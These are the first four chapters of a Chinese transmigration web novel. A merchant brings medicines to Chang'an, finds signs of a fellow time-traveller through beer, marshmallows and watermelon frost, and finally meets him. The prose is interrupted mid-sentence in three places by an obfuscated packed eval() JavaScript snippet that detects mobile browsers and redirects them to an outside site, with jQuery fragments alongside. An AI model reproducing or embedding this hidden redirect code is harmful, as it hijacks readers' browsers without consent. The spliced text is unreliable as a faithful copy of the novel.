《书生搞基建》 1. 长安 过了秋亭驿,再走五六里路,便到长安城了。 尚家的商队打西南边境来,以往都在西南境内做生意,商队里的汉子都是常年走南闯北有见识的人,可头一次见长安城,一个个依旧四处张望,像是初见世面的毛头小子。 “阿兄,阿姊,这就是长安城?好生雄伟壮阔。”年岁还小的尚乌桕看到不远处的雄城惊呼,比起商队里的叔伯,他更是个没见识的土包子,打小在长平村生活,去过最远的地方是礼县。 边境的小县城,连城门都破破烂烂无钱修缮,与一眼城墙都望不到头的长安如何能比。 “长安是国都,自然与众不同。” “哼,阿姊你都没掀开帘子看。”尚乌桕见马车里另外两人端正坐着,嘴巴一撅,若将马车里的茶壶挂上去,也当是能稳住。 “距离城门口不远了,若是想看,便下车去,可以看的更清楚些。”坐在马车正位的尚柒放下手里的书,给两个小的发话。 尚乌桕一路早不耐待在马车上,一听阿兄允了他下马车,立马拉住阿姊的手往外去。 亏得赶马的车夫听到东家发话先一步将马车停稳,不然定要摔出个好歹。 “东家,二小姐三公子一溜烟就跑前面去了,要不派两个人跟着。”车夫张阿大有些忧心,虽晓得二小姐三公子机敏,但长安地界他们人生地不熟,一个不甚出了差错可不得了。 “让守义和德顺跟着。” “诶。”说话间商队里两个机灵的汉子离开队伍,远远坠在尚乌桕和尚南枝的身后,小心看顾。 马车里的尚柒在弟弟妹妹下车后,方才有心思掀开窗口的车帘瞧一瞧外面的景色,入目而来便是长安高耸的城墙,辽阔无垠。 再往里还能看见更高的皇宫一角和钟鼓楼,巍峨古朴的城池全全映入眼帘。 长安城,尚柒眼中闪烁着光芒,虽此长安非彼长安,但有幸得见也算没白来一遭。 商队入长安多走金光门,越靠近城门官道上来往的商队越络绎不绝,除去大历本国的商人,还有许多千里之外来的胡商。 尚南枝和尚乌桕是没见过胡人的,西南边境多连绵起伏的大山,将大历同其他国家隔开,便是有翻山越岭前往大历的异域人也都不走西南这条道。 今日乍一见异族风情,实在让人移不开眼,尤其是同去长安的商队里,有衣着轻薄的胡姬坐在车驾上,没有帷帽和面纱遮挡,大大方方展露美色。 塞外美人的冲击力着实不一般,两个乡下来的小土包子哪里迈的开腿。 许是两人的目光过于直白,叫那车驾上的胡姬察觉,转过头来冲两人轻眨眉眼,直把人看的面红耳赤才轻笑移开视线。 到了城门口,入城的商队都要接受城门前的禁军盘查,尚家做的是药材生意,过所也都有正规手续,不过片刻功夫便驶入城中。 入城第一件事便是寻落脚地,虽说尚家的商队初入长安,但一路过来,也在驿站遇上不少打长安出来的商队,若是有心攀谈,寻一处商队常落脚的客舍不成问题。 和前几朝不许民间开客舍不同,如今的长安城内客舍着实不少,尤其临近西市的几个坊,但凡家中有闲置房屋的人家都愿意短租给过往做生意的商人,赚些零碎补贴家用。 尚家在距离西市不远的金城坊中寻了客舍,一路舟车劳顿,到了歇脚处本该洗漱休息,奈何天色尚早,又是初至长安,连带着商队的汉子们都想出门逛逛,开开眼。 “初至长安,若是出门最好几人结伴而行,在外饮食也少吃些酒水。” 尚柒不由召集人手叮嘱几句,时人爱饮,便是几岁的孩子也能吃几杯果酒,原先在礼县酒水少而劣,多吃几杯也不醉人,到了长安想必美酒佳肴不会少了去,若是贪杯犯事,得罪了权贵可就难抽身了。 “东家放心,我等都省事。”商队的汉子虽不是尚家卖身的奴婢,但也受尚家雇佣,是干长线生意的,自然不会说为了一点口腹之欲丢了活计,身后还有一大家子要养呢。 也不知尚柒是不是信了这番保障,总之商队大半汉子连午时客舍准备的餐食都来不及用,就匆匆结伴消失在人群中。 余下在客栈的,不是商队几个管事就是尚家这次出门带的人。 “阿兄,咱们要在长安待多久?”尚乌桕浅尝了客舍送的餐食,味道不好不坏,不及家中厨娘手艺,但花样不曾见过,算吃个新鲜。 “一两个月。”或者更久,端看此行能否寻到他想找的人,生意方面倒是其次。 “一两个月也不知道能不能逛完长安城。”显然一个照面的功夫,长安已经收服了西南小地方来的尚乌桕,“阿兄此次生意顺利,是不是日后咱们家也会常来长安做生意。” “嗯。”长安其实不缺药材,和地方上药材只来自山野不一样,长安洛阳这样的城池,已经有专门种植药材的庄子。 尚家的药材多是人工种植,因为供货稳定在西南许多医家那里都是挂了名的,但要想在长安打开销路,光供货稳定不够。 “日后我和阿姊还能常跟商队过来长安吗?”尚乌桕不知道阿兄因为他一句问话心底已经拐了七八十道弯,只循序渐进的诱导阿兄得他所愿。 尚柒闻言清楚应了这话怕还有下一句,敲了敲桌子,示意尚乌桕把话说明白。 “阿兄你看,咱们家若是常年跟长安来往,总不能商队过来每次都住客舍,在长安住一日的房钱都能在礼县住好些日,如此一来不若咱们在长安置一处宅子,一劳永逸。” 尚柒手中的羹勺一顿,这小哥儿也是敢想,长安一处寻常宅院看地段少说也得五百贯,他们家做生意,安顿商队怎么也要一处三进的宅院,价位大抵在一千贯左右。 倒不是拿不出,而是买了一年能住上一个月都是多的,标准的赔本买卖。 “阿兄,怎么不说话。”尚乌桕眼巴巴的盯着阿兄,若是在长安有一套宅院,下次阿兄即使不来,他和阿姊也能跟着来,不然每每落脚在客舍,阿兄定然不会放心他和阿姊跟去。 “天色还早,若是闲的无趣,可让守义德顺带你们去西市逛逛。”尚柒知道尚乌桕老是想一出是一出,并不继续应答,反支了招叫人不能继续胡思乱想。 一说到出门,尚乌桕来了精神,再不问宅子的事,悄摸用手肘捣了捣阿姊的胳膊,示意阿姊快些吃,待会一块出去。 尚南枝比尚乌桕大几岁,平日里性子稳重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400971|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但到底不过十一二岁,正是喜欢出门玩的时候,有小弟提醒,手中筷子汤匙都舞动的快了几分。 堪堪将碗中餐食吃完,两人就匆匆去外头寻了守义哥和德顺哥要出门。 两个烦人精走了,尚柒才不紧不慢的吃完餐食,佐一杯青麦酒,熟悉的苦涩在口中蔓延,尚柒将目光落在杯子里。 啤酒,与本朝的醴酒一样都是用麦酿造,不过酿造方法略有不同,或者说醴酒也算是啤酒的前身。 啤酒突兀的出现在大历,让初闻此消息的尚柒头脑一热,便整装商队来了长安,究竟是因为巧合导致醴酒进化成啤酒,并以青麦酒出现,还是此世有一个人同他一样。 独在异乡为异客。 —————————— 西市。 哪怕已经过了午时,街道上来往的人群依旧不少,且因为西市卖的东西多打长安城外来,哪怕平价也不少见达官显贵家的子弟。 而这些人也不难辨认,若是常年在西市做生意的人家,光是看这些世家子弟出行用的马车和仆从数目就能看出背后家世。 宝马香车都得是有身份的人才能用,尚乌桕和尚南枝一路过来,也是开眼见了西南不曾有过的繁华。 “也不知这样的马车坐起来是否舒服。”长途跋涉来长安的尚乌桕可是狠狠体会过马车赶路的苦楚,哪怕他们坐的马车已经是阿兄寻能工巧匠改造过的,依旧颠簸的腰酸背痛,需要隔三差五停下走走路。 “长安城内未曾铺设石板,但比起官道坑洼不平,已然是极好的车道,加上城内马车都走的慢,想必并不颠簸。”尚南枝瞧着从马车下来的世家子弟,一个个精神抖擞,行动间也不曾有不适,多半还是舒服的。 “天底下的官道若都跟村子到礼县的路一样好走就好了,这样我就不用纠结下次要不要颠簸一个来月跟来长安。”尚乌桕也是出了门才晓得,外头的路竟然如此破败。 “都还没有回去,便想着再来,你倒喜新厌旧的厉害。”尚南枝敲了敲尚乌桕的脑袋。 “喜新厌旧,人之常情嘛。”尚乌桕振振有词,“阿姊,接下来我们往哪里去。” 街上新鲜东西太多,一时间看的尚乌桕眼花缭乱,都不知道往哪里去好了。 “自然是去医馆看看,别忘了阿兄这次过来是做生意的,我们跟来总要帮衬阿兄一二。”尚南枝已经想好,她和乌桕是小孩子,去医馆打听药材的消息,想必医馆的药童也不会过于防备。 “好吧。”尚乌桕蔫了,“那去完医馆,你要陪我去其他摊子买好玩的东西。” “只要你零花钱够,便是买完一条街,我都陪你去。”尚南枝最会拿人七寸,这不明知道尚乌桕手中零花有数,长安城的物价还贵,压根买不了几样东西,依旧许诺的像是要陪人逛完整个西市一般。 好在尚乌桕不计较,只高高兴兴的跟着阿姊去医馆探查情报。 说来他打小跟阿兄学习医术,日后也是要励志做个大夫的,正好看看长安的大夫是不是比阿兄要厉害。 虽然在他心里阿兄是最最厉害的人,但阿兄也说过人外有人天外有天,阿兄又这样年轻,说不得就有白胡子老爷爷比阿兄还厉害。 2. 棉花糖 酉时过半。 尚柒放下手中的书籍,走到窗口,正值初夏,天色暗的越发晚,再有半个时辰,坊门便要关闭了。 大历开国以来承前朝制度,于宵禁历来严苛,地方或许因官府人手不足,夜里少有巡查的官兵,但在长安,各坊闭门后坊内是有禁军巡逻的,宵禁夜游者被捕,杖二十。 尚柒怕南枝乌桕贪玩忘了时辰,正准备寻人去西市路上找一找时,门外就响起了二人连蹦带跳的脚步声。 “阿兄,我和阿姊给你买了好吃的。”尚乌桕一把推开门,兴匆匆的向阿兄献宝。 尚南枝跟在尚柒身后,手里也拿满了东西,光看油纸包装,便晓得都是些吃的东西。 尚柒思索,若是没记错,这两人是吃饱了才出的门,竟还买了这好些吃食,下午几个时辰怕是肚子没空过,晚食该是吃不下了。 “阿兄,这可是长安独一份的吃食,你定然没有吃过。”尚乌桕说着舔了舔嘴角,显然是在回忆吃食的味道。 能够让尚乌桕这等小馋猫回味的东西,滋味肯定不差,尚柒给面子的拆开油纸上的麻线,视线落在码好的白色点心上,微怔。 “阿兄,可是这东西不对?”尚南枝见阿兄异样,问道。 “我与阿姊都吃过,主料是牛乳,辅料虽未尝出,但定然不是炼丹用的材料,应当无毒。”同阿兄学医术的尚乌桕可是学了不少颠覆此时医学的知识,也知晓一般炼丹用材多少都带点毒,轻易不得解。 于入口东西他也很谨慎,眼前的点心的的确确是牛乳制品,吃不死人的。 尚柒不语,只伸手取来一块放入口中,绵软熟悉的味道几乎叫人喜极而泣。 “棉花糖。”尚柒语气中带有涩意,大抵也没想过有生之年还能吃上这东西。 “阿兄知晓这点心?”尚乌桕瞪大眼睛,不敢相信他们一到长安就上了长安商人的套。 “知道。”如果说在礼县见到啤酒,他还将信将疑,此刻到了长安看到棉花糖,他心中的巨石总算落地。 他乡遇故知,不愧是人生四大喜事,让一向情绪稳定的尚柒都喜难自抑。 “阿兄,我和阿姊被骗你就这么高兴?”尚乌桕哀怨的看着尚柒,平日里也没看出阿兄是幸灾乐祸的人。 对于这个误会尚柒只是挑挑眉:“明日你们再带我走一趟。” “阿兄,那铺子来往客人都是高门大户的仆从,我们过去踢馆怕是不太好。”尚南枝面色露出纠结,商人做生意夸大其词是常有的事,往日不见阿兄这样冲动,今日是怎么了? 尚柒揉了揉额角,也不知为何他在南枝乌桕心中的形象越发奇怪,再不辩解一两句,怕他要落个得理不饶人的形象了。 “我虽认识棉花糖,却也不清楚做法,天下间说是独一份也不是问题,明日去,只是想去看看铺子里其他东西。” 能在长安做独门生意,来往还都是权贵人家,背后想必也不是什么小门小户。 “阿兄想同人做生意?” 尚柒摇头,更多的话却是不能说给两个小的听,好在尚南枝和尚乌桕也懂事,不曾刨根问底,转头说起了今日去医馆的见闻。 “我和阿姊在西市还去医馆打探了情报,里面的大夫说长安的药材可去官家的种植园收购,咱们这次带来的普通药材怕是入不得他们的眼,不过嘛——”尚乌桕准备卖一卖关子。 尚柒轻笑着揉了揉尚乌桕的脑袋,看向尚南枝。 “不过咱们家在西南卖的几味秘制药丸长安的医馆不曾有卖。” 尚柒不意外,毕竟每年从他手里流出多少秘制药丸都是有数的,光是照顾西南当地的豪强都有些困难,长安即便有多半也是地方上供过来的。 “南枝以为,我们该以什么药打开长安的市场?” 尚南枝一顿,目光颇有些幽怨的看向阿兄。 “阿兄,商队里押运的药材和药丸都是我从库里调的。” 尚柒眨了眨眼,似乎才想起这回事,也是一时兴奋,竟然忘了这事是他让南枝负责,原还想考一考南枝的,失策。 “咳,天色不早了,这一个月来风餐露宿,你们也该早些休息,明日可不能赖床。” 尚乌桕和尚南枝面面相觑,然后不情不愿的离开,走的时候嘴里嘀嘀咕咕,多半是说尚柒的坏话。 没听清楚尚柒只当是没听见,赶了人离开,独留他对着桌上几块码好的棉花糖发呆。 翌日。 晨钟敲响,五更天时宵禁便解了,但丑时末天还黑的厉害,除开做早食生意的人家,大多还在鼾睡。 到了卯时,坊市内才能见人走动。 尚柒一觉睡到卯时末,门口已经有客舍送来的温水,洗漱过后,用了客舍的朝食便带着两个小的出门。 金城坊距离西市不过一个坊的距离,走过去用不了多少时间,马车自然是不必动用的。 和精神抖擞的尚柒不一样,尚南枝和尚乌桕还有些睁不开眼,昨夜睡的也不算是迟,奈何一月舟车劳顿身体本就疲惫不堪,昨日还去逛了一日,再年轻的身体也受不住。 “若实在困得厉害,我自己去就是了。”尚柒也不是非要两个小的跟着,先不说卖棉花糖的铺子在长安仅此一家,只问一问就能知晓地方,单单昨日守义德顺也是跟着去了,认得路。 “阿兄话说晚了,我和阿姊都洗漱好,哪里还能躺回去鼾睡。” 尚柒瞧着尚乌桕耷拉的眼睛,不信,多半还是昨日出去玩没个数,手里的零花所剩无几,这会需要一个移动钱袋。 “走吧。”尚柒无奈,在礼县时吃穿用度都是不缺的,平日里乌桕和南枝少有花钱的时候,到了长安,看什么都新鲜,那点零花的确不够,该适当给两个小的涨点零花了。 过了醴泉坊,便可窥见西市的繁华,比起长安本地人,西市外地人占了多数,尤其是西北而来的胡商,听闻西市还专程给胡商划了一片区域做买卖。 按说西市这样聚集外来客的地盘,该是鱼龙混杂,但许是因为整个长安就两处集市,治安比尚柒想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400972|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的要好。 沿街热闹,酒楼也不少,但眼下时辰还早,酒楼不做早上生意,大门都还没打开。 又走过几条街,尚柒总算是见到卖棉花糖的铺子,其上书‘甜品屋’叫尚柒驻足了片刻,也算是对这位不曾谋面的故知多了几分了解,应该是位率性而为之人。 “阿兄你瞧,那个插在草靶上的东西我昨日没见过。”尚乌桕眼尖,一眼就瞧见昨个儿没见着的吃食,只见草靶上插了不少木签,上都是红彤彤的果子,外裹了一层糖衣,瞧着煞是好看。 “是糖葫芦,若想吃可买两串,不能多吃。”糖吃多了坏牙,小孩子哪里有控制甜食摄入的本事,若不是尚柒管着,尚乌桕一口牙早就被虫蛀了个遍。 店铺位于西市最繁华的街道,占地面积不小,只凭这点就可看出背后主人身份不简单,至少一般官宦人家是开不起这样的铺子,此地东家多半是世家出身。 店铺走动的侍人也极有眼力,早在尚柒入门前就候着了,原见尚乌桕不知糖葫芦正要介绍,却不想被一旁的小少爷抢了个先。 侍人目光落在尚柒身上,瞧模样是大户人家出身,但听口音又不是长安本地人,一个外客竟然对店里的东西这般了 解,有些稀奇。 尚柒叫两个小的自个儿挑选想吃的,他则在踱步跟在后面,不出所料这铺子里有不少眼熟的点心糖果,如牛轧糖,因为大历境内还不曾有花生,眼下的牛轧糖便用的核桃和一些时下有的坚果,切出来也像模像样。 不管对方此前究竟是做什么的,于厨艺一道定然擅长。 只是贸然打听恐怕是打听不出‘甜品屋’背后的东家是谁,不过既然确信长安城中有一位故知,比起费尽心思打探不若守株待兔,等人找上门。 尚家的独门秘药还是要尽快在长安扬名才是。 “正午去吃烤全羊如何?”打从甜品屋大包小包出来,尚柒便和南枝乌桕商量午时吃什么。 “阿兄,只我们几人,吃不完一只羊。”一只羊剥皮去头,再去内脏,少的有三十来斤,多的有五六十斤,他们不过五人,哪里能吃完。 “长安酒楼想必吃羊者甚多,酒楼掌柜若会做生意,自然会散卖。”长安一日消耗的羊比过礼县一年,许多人下馆子不见得能凑够吃一整只羊的人数,商家想要做生意,散卖是定然的。 “阿兄说的也有道理,那正午就吃烤全羊。”尚乌桕也有些馋烤全羊的滋味,在西南时,家家户户少有养羊的,且西南的羊吃起来滋味比不上西北塞外的羊,也不知长安的羊吃起来如何。 “阿兄,咱们当真是去吃羊的吗?”尚南枝想的就多了,毕竟她最清楚这次出门,阿兄大量带着的秘药只有西瓜霜一味,且长安成美食佳肴定然数不胜数,烤全羊又非是长安特产,怎么好端端的要吃羊了。 尚柒笑着点头,算是肯定了尚南枝的猜想。 长安会做羊的酒楼不少,出名的都不必专门打听,只沿街随便问一路人,都道是朱雀大街最大的酒楼,金玉满堂最好。 3. 西瓜霜 金玉满堂名满长安,每日客似云来没有不满座的时候,尚柒一行人到金玉满堂时,还不是正午最热闹的饭点,但大堂已经人满为患,想要挤一张桌子出来都要等上一等,雅间更不必想。 若非提前一两日预定,根本排不上号,长安城的世家子弟多如牛毛,便是人人隔三差五才来一回,雅间都是不够用的。 等了约莫一刻钟功夫,金玉满堂的小二便领着尚柒一行人坐上了大堂靠里的桌子。 小桌不大不小,五个人挤一挤也能坐,更不说尚乌桕和尚南枝还是小孩子,两人坐一块都还有空余。 虽是招呼大堂的客人,小二也不曾敷衍,听出他们一行人虽然说官话,但口音不似长安本地人,介绍也更为细致,说话间还推荐了酒楼的几道名菜。 尚柒点了一只烤羊腿,佐几个金玉满堂的名菜,就给了守义德顺一个眼神,二人便心领神会的离开。 尚南枝瞧着二人的背影,差不多想明白了阿兄的打算,唉,也不知阿兄的脑子如何长的,明明他们都是初到长安,她和乌桕连长安城东南西北都还没分明白,阿兄已经连怎么卖自家东西都想好了。 果然她还有的学。 尚柒瞧着皱着脸的尚南枝,又看着对烤全羊望眼欲穿的尚乌桕,轻笑着摇了摇头,便不动声色的打量大堂的客人。 能到金玉满堂吃饭的客人,再次也是不缺钱的,只是观人外形,多还是走南闯北做生意的人。 偶尔能瞥见几个峨冠博带的少年郎进门,都径直去了楼上,可见轻易也攀不上世家子弟的关系。 若尚家的生意想要在长安立足,光是西瓜霜还不够。 他手里自然还有更好的药,药效喜人,虽不至于生死人,肉白骨,但在大历说是救命神药也不为过。 只是药虽好,却轻易不敢拿出来,眼下这个时代的世家权利能够与皇权分庭抗礼,尚家农户出身,十几年发展的根基在百年起步的世家眼中犹如无物。 对方想抢,尚柒也无可奈何,说来有些窝囊,但时代背景如此,非他一力可抗。 “阿兄,守义哥和德顺哥怎么去了这样久还不回来?”尚乌桕等的有些无趣,刚才守义哥和德顺哥离席,他以为两人去行圊了。 正巧话落,小二便送菜过来,一只硕大的烤羊腿摆在正中央。 “他们办事去了。”尚柒一边答话,一边拿起熟肉刀从羊腿上取肉给两个小的,光闻羊腿肉的香气,便知道金玉满堂在香料上下了不少功夫,时下香料金贵,舍得用香料入菜说明每月利润不匪。 有肉堵嘴,尚乌桕自然没有继续追问守义德顺去办什么事,只管埋头苦吃。 “长安的羊肉腥膻味比咱们在西南吃的小很多,难怪这家酒楼生意这样好。”尚南枝也算是吃过好东西,阿兄虽不会下厨,却对吃食颇有几分挑剔,尚家发家后最大的变化就在吃食上。 从礼县出西南再到长安,一路上歇脚的城镇不少,但于吃食一道,多只能入口,这也是尚南枝出礼县后才知道,外面的饭菜多炖煮,不见铁锅炒菜。 尚柒浅尝过几道菜,看来长安城已经开始普及铁锅做菜,不知是金玉满堂的独家,还是铁锅已经慢慢进入各个世家厨房。 至于平民百姓,必然是添置不起铁锅的,大历冶铁技术有待提升,每年出产的铁矿军中兵器甲胄占去了大头,连百姓家中农具都还以木耙为主,要给家里添置一口铁锅只怕是几年收成都要搭进去。 饭程过半,守义德顺才不紧不慢的重新出现在大堂。 “东家,一共交代出去五份药。” “嗯,坐下用饭。”万事开头难,好在金玉满堂是个不错的跳板。 一餐饱饭后,尚柒到柜台结账,只见掌柜手指灵活的打着算盘,新客给了便宜抹了零头共三贯半,听的尚南枝和尚乌桕咂舌,三贯都够五口之家一月开销,甚至在长平村,早些年能一口气拿出三贯当聘礼的人家都是殷实人家。 “长安当真花钱如流水,阿兄你得快快赚钱,不然咱们怕是要喝西北风了。”尚乌桕难得感觉到了金钱压力,他是不管家里账目的,却也晓得尚家根基在长平村,只是大历西南边境的一处小村落,就算尚家近些年已经是礼县最富裕的人家,可与长安比,差的不是一星半点。 “你不是还想在长安添够房产?”尚柒打趣道。 “那……那不是我不清楚长安的物价嘛。”尚乌桕说的嘟嘟囔囔,一顿并不怎么奢侈的饭菜就去了三贯,置办房产不得上千贯去了。 “长安房价昂贵也看地方,有些坊市人丁稀少,若要添够其实不贵。”但治安方面就难说了,许多人烟旺盛的坊市治安都不怎么好,真去偏远的坊市购房,没本事黑吃黑就是给人送菜的。 “阿兄是打算在长安置办房产?”尚南枝敏锐的嗅到尚柒有意置房的打算,如果只是单纯的做生意,阿兄不该这么快想要购房,难不成阿兄想留在长安。 “还在考虑。”尚柒不否认,这个决策主要看他能否和这位故知合得来。 按说他是不想趟长安这趟浑水的,因为按照封建王朝国祚来算,大历已经过了盛世阶段开始走下坡路了。 如果没有中兴之君,多半还能苟延残喘几十年,他若一直位处西南,便是乱世来了也能带领亲族到深山避祸,反而是在长安,一旦牵扯进皇家世家夺权,后果不堪设想。 不过这些后顾之忧得先见到远在天边近在眼前的故知再说,只有金玉满堂一个跳板还不够,至少短时间内想要捧起西瓜霜的名声,长安的各大酒楼少不得要多跑几趟。 之后几日有的忙了。 —————————— 长安郊外,清闲观。 正是晌午,高挂的烈日透过树荫只落了几缕阳光照在树底休憩的人身上,院里的树枝还歇了几只山里的鸟雀,时不时鸣啼一声,打破院内的寂静。 书墨从院外进来,见自家公子衣衫不整的躺在摇椅上休憩,轻轻吐了口气,亏得清闲观是别家私观,来往也都是哥儿,否者叫外人见了公子这副不羁的模样,只怕早被口讨笔伐了。 “公子,大少爷差人送了口信过来。”书墨晓得公子这会必然没有睡着,只是看书看累了,闭目养神罢了。 “什么事?”说话的公子面上正盖着一本书,因此语气难免显得低沉散漫。 “老太爷生辰快到了,大少爷叫你早些回去。”今年是老太爷大寿,别家早早开始筹备,唯公子躲懒,一年里大半年都在观里度日。 往年公子赶在大寿前几日回去也就罢了,今年若还如此,不光过不了老爷夫人那一关,只怕其他院里也难免说闲。 “阿兄可是备好贺礼了?”别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400973|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此云依旧不动,不紧不慢的询问书墨。 “这,大少爷不曾提过,只传了信叫公子你早些回去。”寿礼其实不打紧,公子是孙辈,只要心意到了就好,不必拔尖,不然盖过了叔伯的风头,也是要遭人嫉恨的。 “近来店里可有收到什么古籍?”别此云盘算手里的东西,真要送他肯定能别出心裁送出好东西,只是他还得顾虑几位兄弟姊妹,哪怕是阿翁大寿,送古籍也是不出错的。 “近来长安城内没发生什么大事,不曾有人家售卖家中古籍。”书墨开口打断了别此云想偷懒的法子。 “……”别此云埋在书下的眉心一皱,古籍走不通,难不成又得送些奇巧淫技的东西。 “公子,古籍不曾有,但近日里长安风靡起了一味消肿止痛的好药,正适合给老太爷祝寿。”清闲观虽然在长安郊外,但别此云在长安置办的产业不少,长安但凡有个什么风吹草动他们都是知道的。 “好药?有多好?用的什么药材?”别此云对大历的医术门清,就是宫里的太医能治的病都有限,什么立竿见影的药多半都有毒。 “此药名为西瓜霜,顾名思义该是用西瓜为材,只是这西瓜不知道是什么瓜,药效——公子?” 书墨话还没说完,就被猛地坐起身的公子打断,只见方才还懒散躺在摇椅的公子连因为起身落在地上的书都来不及管,迫切的追问。 “你说这药叫什么?” 无怪别此云动静这般大,大历境内只有寒瓜,没有西瓜,更不说西瓜霜这样耳熟能详的名字。 “西瓜霜。”书墨又重复了一遍,这药名字略有些奇怪,不过药材名奇怪的多了去了。 “备马,准备回长安。”别此云当机立断,他在长安诸多产业都透露出他的与众不同,这会突然冒出一味西瓜霜,说不是冲他来的,他都不信。 …… 金城坊,陈家客舍。 托客舍客人的福,这几日陈家客舍每日人来人往,光是饭店多售卖的饭菜都叫客舍的老板喜笑颜开。 西瓜霜的药效经过口口相传,虽有几分神话,但也达到了扬名的目的。 这会上到达官显贵,下到平民百姓谁家有咽喉肿痛病症的,都想要求药,只是能寻到卖这药的人不多。 “长安虽然物价贵,但钱也是真好赚,东家带来的药材都被买走了大半。”商队的汉子都是盼着东家生意好,东家生意好做了,他们底下的人才有活干。 “要不生意人都想来长安呢,跑一趟都抵上咱们在西南跑几趟的,而且长安里的世家子弟,出手也实在大方,光是打赏钱都够咱好生逍遥一段时日的。” “可不是,也不晓得东家为何不尽快把手里的药材都卖了,若是这会子卖完,咱们马上回礼县,正好赶上新的一批药制好,再来长安赚上一笔。” “得了吧,你我都不是做生意的料,东家能从礼县把生意做到长安,定然是有大本事的人,咱们乖乖听着就是。” “这倒是,听闻东家早年是农户,发家也是近些年,算算年纪,可不比故事里说的神童差,只盼东家生意越做越大,咱们也能多沾些光。” 几个汉子真情实意的在楼下吹捧尚柒,殊不知楼上的尚东家早不如先前稳重,已经过去小半月了,连他手里的西瓜霜都倾销大半,他等的人却还没登门。 4. 登门 “敢问卖西瓜霜的尚东家可是住在此地?”一位瞧着是大户人家公子贴身伺候的哥儿入客舍后,向客舍门口歇脚的商队汉子打探情况。 “正是,小哥儿也是来买药的?”商队的汉子近些时候轮流在楼下执勤,已经回答了不知多少这样的话,只是往常询问的不是五大三粗的汉子,就是大户人家的管事,小哥儿还是头一次见。 “不错,我们东家看好西瓜霜的前景,不知尚东家手里还有多少药,我们东家打算全要。” “你这哥儿说话口气倒不小。”商队的汉子并不轻视,这些日子登门求购药材的人里,多的是藏龙卧虎之辈,只是东家给的货都不多,还没有哪家能独吞的。 “口气小不小得尚东家见了我们东家才知道,不知尚东家如今可有空闲?”小哥儿气势也不输,看来也是见惯大场面的人物。 “有空,但要谈买卖得让你们东家去二楼。” “还请稍等。”小哥儿说罢快步出门,几步间到了客舍外停的马车旁,只见马车的车帘被掀起来,那小哥儿同马车里的人低语几句,马车的门帘就被掀开。 打马车出来的人带了帷帽,看不清模样,只是看身形多半也是个哥儿,大历是少有抛头露面做生意的姑娘哥儿。 今儿得见,商队的汉子并不怎么吃惊,因为他们打礼县过来,见识过许多出门做事的姑娘哥儿。 一行人走上楼,为首的汉子敲了敲东家的门,等里面应了声便直接推门而入。 这几日登门拜访的人少了些,尚柒难得躲一会清闲,原本该静下心看书打发时间,奈何这心一直静不下来。 心气浮躁,并非好事,尚柒倒在椅子上闭目养神,听闻敲门声理了理衣衫,就对上入门而来的别此云。 虽二人隔着帷帽的轻纱对视,但尚柒有一种预感,他等的人来了。 “书墨,出去顺道带上门。”别此云吩咐的自然,也不理会书墨的纠结径直走到尚柒跟前,直到耳边响起关门声,他才掀开帷帽,露出眉目如画的容貌,“我来赴约了。” 尚柒伸手,示意来人坐下,早在确信长安城里有一位故知时,他便在心中有过无数猜测,或老或少、或男或女,今日终于得见,倒也不出所料。 “尚东家大张旗鼓引我过来,见面后却一言不发,难不成因为我是哥儿所以失望了?”别此云语气打一开始就带有几分咄咄逼人,除却性格使然,还有几分试探的意思。 纵然他乡遇故知值得欣喜,但他们不是一到此世就相逢,十几年的同化谁知道会有什么变故呢? 尚柒摇头:“我以为故知相见,少不得喜极而泣,抱头痛哭。” “然后再互诉衷肠?” “大抵如此。”说罢尚柒还肯定的点点头,对幻想的场景很满意,“我还不知公子如何称呼?” 别此云清楚自己的态度不算好,若以他所处时代来看,大部分人都不喜欢热脸贴着冷屁股,他也做好了这次谈话败兴而归的准备,谁想对方情绪如此稳定。 要不是在大历,他多半会冒出想谈的念头。 “别此云。”别家在长安名声不小,但凡关注过长安复杂的世家关系,只听名头也该清楚别家的分量。 “尚柒。”互报姓名后,尚柒明显感觉气氛不如一开始针锋相对,于是他和气替别此云倒了一杯清茶,茶叶是从西南带来的,炒茶制茶的手法也与大历不同,比起大历奇怪的茶饮子,尚柒更喜欢单纯的茶叶。 “蒙顶甘露?”别此云轻缀一口茶水,便尝出底细。 “嗯,这次来长安,只带了蒙顶甘露和青城雪芽,若是你喜欢喝其他茶,只要产地在西南,我都有存货,不过要等上一等。”尚柒饮茶的习惯是打小跟家里学的,制茶的手艺也略知一二,可能比不上老师傅但炒出来的茶还是能入口。 “若是我想喝洞庭碧螺春呢?” 尚柒轻笑,并不觉得这话是为难;“你若真想喝碧螺春,只能等我把生意做到洞庭,或许要等上两三年。” 